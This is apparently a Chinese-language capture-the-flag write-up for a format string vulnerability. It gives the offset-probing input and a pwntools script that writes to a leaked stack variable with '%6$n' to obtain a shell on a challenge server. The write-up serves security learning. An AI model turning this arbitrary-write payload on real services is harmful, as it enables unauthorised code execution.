1.首先拖入IDA,找到main函数,F5反汇编
2.程序的逻辑很简单,先打印v5的地址,接受输入。令v5=4即可getshell
注意这两行:
__isoc99_scanf("%s", &format); printf(&format);
明显的格式化字符串漏洞。
3.运行程序,可以看到v5的地址是每次都在变的。但是可以获得
4.获取偏移量,输入
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
观察回显结果:
故偏移量为6
5.exp如下:
from pwn import * #wowotou r= remote('183.129.189.60','10020') a = r.recvline()#接受v5地址并转成int型 aa = eval(a) #v5地址需要经过32位编码转换,故为4位。 #要求v5=4,故不需要补字直接跟偏移量即可 payload = p32(aa) + '%6$n' r.recvuntil("How much is a sorghum?") r.sendline(payload) r.interactive()
运行,成功获取flag